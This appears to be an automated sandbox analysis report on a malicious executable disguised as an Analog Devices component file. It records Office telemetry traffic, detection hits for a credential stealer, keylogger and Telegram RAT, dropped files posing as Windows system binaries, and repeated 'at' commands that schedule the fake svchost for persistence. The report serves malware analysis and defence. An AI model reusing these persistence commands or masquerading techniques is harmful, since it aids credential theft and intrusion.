2024-10-10 08:13:53 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:53 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: bbcce40b-d01e-002b-7f04-1a25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081353Z-1597f696844rmb6h7netdh4d8400000001v00000000053ru x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:53 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	64715	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:53 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:53 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:53 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: a3e885da-b01e-00ab-7633-1adafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081353Z-1597f696844gnxkv9xdcpvd3zn00000001sg00000000cfdw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:53 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	64717	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:53 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:53 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:53 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8d1929b3-a01e-0021-7644-1a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081353Z-1597f696844vxsn8mvt69yd90000000001n000000000gg23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:53 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	64720	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:54 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:54 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:54 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: ecb94678-501e-0035-51d8-1ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081354Z-1597f6968449dfkf36kycw70rs00000001m000000000kgnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-10 08:13:54 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	64723	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:54 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:54 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:54 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 90bcc401-701e-006f-76a4-15afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081354Z-r154656d9bc8glqfu2duqg0z1w00000005s000000000fme8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:54 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	64719	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:54 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:54 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:54 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 62411c99-501e-0029-481b-18d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081354Z-r154656d9bc6m642udcg3mq41n0000000ezg000000004wuf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:54 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	64722	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:54 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:54 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:54 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 35b91e5e-e01e-0052-1204-1ad9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081354Z-1597f696844vzfmb9nc7adr3a800000001kg00000000gk6e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:54 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	64721	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-10 08:13:55 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-10 08:13:55 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 10 Oct 2024 08:13:55 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 2c62a3b1-101e-0079-3ffa-195913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241010T081355Z-1597f696844dq2z42yxqsye8f400000001t000000000age2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-10 08:13:55 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Target ID:	0
Start time:	04:12:31
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe"
Imagebase:	0x400000
File size:	1'167'385 bytes
MD5 hash:	5BF012702D620D125FA7ADC2BD3A9C75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	04:12:31
Start date:	10/10/2024
Path:	C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe
Wow64 process (32bit):	true
Commandline:	"c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Imagebase:	0x280000
File size:	886'280 bytes
MD5 hash:	AFF06135F99901A5925F875B7122ABA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000001.00000002.1747249048.00000000036FC000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 46%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:12:31
Start date:	10/10/2024
Path:	C:\Users\user\AppData\Local\icsys.icn.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\icsys.icn.exe
Imagebase:	0x400000
File size:	281'080 bytes
MD5 hash:	223F49E8FB8A6A73152CCD8371C1402E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	04:12:31
Start date:	10/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	04:12:32
Start date:	10/10/2024
Path:	C:\Windows\System\explorer.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system\explorer.exe
Imagebase:	0x400000
File size:	281'001 bytes
MD5 hash:	5D171E84A564FF02737707557BC94C7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	04:12:32
Start date:	10/10/2024
Path:	C:\Windows\System\spoolsv.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system\spoolsv.exe SE
Imagebase:	0x400000
File size:	280'880 bytes
MD5 hash:	87F4BB343D88570786E64727D8938AA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:12:32
Start date:	10/10/2024
Path:	C:\Windows\System\svchost.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system\svchost.exe
Imagebase:	0x400000
File size:	280'859 bytes
MD5 hash:	4DD3CF8F373E3C03162E7B8972DA62C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:12:32
Start date:	10/10/2024
Path:	C:\Windows\System\spoolsv.exe
Wow64 process (32bit):	true
Commandline:	c:\windows\system\spoolsv.exe PR
Imagebase:	0x400000
File size:	280'880 bytes
MD5 hash:	87F4BB343D88570786E64727D8938AA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:12:34
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:12:34
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	04:12:34
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:12:34
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\SysWOW64\at.exe
Wow64 process (32bit):	true
Commandline:	at 04:14 /interactive /every:M,T,W,Th,F,S,Su c:\windows\system\svchost.exe
Imagebase:	0x340000
File size:	25'088 bytes
MD5 hash:	2AE20048111861FA09B709D3CC551AD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:12:35
Start date:	10/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

